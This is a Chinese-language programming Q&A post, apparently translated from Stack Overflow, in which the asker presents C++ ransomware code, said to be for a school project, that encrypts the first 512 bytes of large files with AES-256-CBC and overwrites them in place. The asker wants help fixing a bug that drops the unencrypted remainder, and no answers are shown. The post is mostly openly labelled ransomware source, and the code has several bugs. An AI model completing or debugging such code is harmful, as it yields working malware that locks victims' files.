0

对于学校项目,我必须制作勒索软件。对于更大的文件,我的老师告诉我只加密第一个字节,所以如果文件的大小大于 5 MB,我只想加密文件的前 512 个字节。我目前使用EVP Encryption加密文件,并在加密功能中检查文件的大小。

我可以加密整个文件,但是如何加密文件的前 512 个字节,然后将其与剩余数据(未加密部分)连接起来?

这是我的代码:

void Ransomware::aes_encrypt(const byte key[KEY_SIZE], const byte iv[BLOCK_SIZE], string path)
{ 
string ctext, ptext, endByte;

EVP_CIPHER_CTX_free_ptr ctx(EVP_CIPHER_CTX_new(), ::EVP_CIPHER_CTX_free);
int rc = EVP_EncryptInit_ex(ctx.get(), EVP_aes_256_cbc(), NULL, key, iv);
if (rc != 1)
    throw std::runtime_error("EVP_EncryptInit_ex failed");

ptext = readfileContents(path);
size_t stext = ptext.size();
// if the file size is greater than 5 MO
if (stext >= 5000)
{
  stext = 512;
  // Truncate the file to get the remnant unencrypted data
  string endByte = ptext.substr(513, ptext.size());
}
    
// Recovered text expands upto BLOCK_SIZE
ctext.resize(stext + BLOCK_SIZE);
int out_len1 = (int)ctext.size();

rc = EVP_EncryptUpdate(ctx.get(), (byte*)&ctext[0], &out_len1, (const byte*)&ptext[0], 
(int)stext);
if (rc != 1)
    throw std::runtime_error("EVP_EncryptUpdate failed");

int out_len2 = (int)ctext.size() - out_len1;
rc = EVP_EncryptFinal_ex(ctx.get(), (byte*)&ctext[0] + out_len1, &out_len2);
if (rc != 1)
    throw std::runtime_error("EVP_EncryptFinal_ex failed");

// Set cipher text size now that we know it
ctext.resize(out_len1 + out_len2);
if (endByte.length() != 0)
{
    ctext.resize(ctext.size() + endByte.size());
    // Concatenate the 512 encrypted bytes with the remnant unencrypted part
    ctext = ctext + endByte;
}
writeEncryptedData(path, ctext);
}

ReadContentData 作为二进制函数:

string Ransomware::readfileContents(const string& filePath)
{
   fstream file;
   file.open(filePath, fstream::in | ios::binary);
   string contents((istreambuf_iterator<char>(file)), (istreambuf_iterator<char>()));
   file.close();
   return contents;
}

WriteEncryptedData 函数:

void Ransomware::writeEncryptedData(const string& filePath, const string& alteredContents)
{
   fstream file;
   // Ouverture du fichier et écriture des données chiffrées
   file.open(filePath, fstream::out | fstream::trunc | ios::binary);
   file << alteredContents;
   file.close();
}

当我为大于 5 MO 的文件运行程序时,输出文件大小仅为 528 字节。似乎只写了加密部分。我不知道如何在 512 字节后读取文件的下一个字节。

4

0 回答 0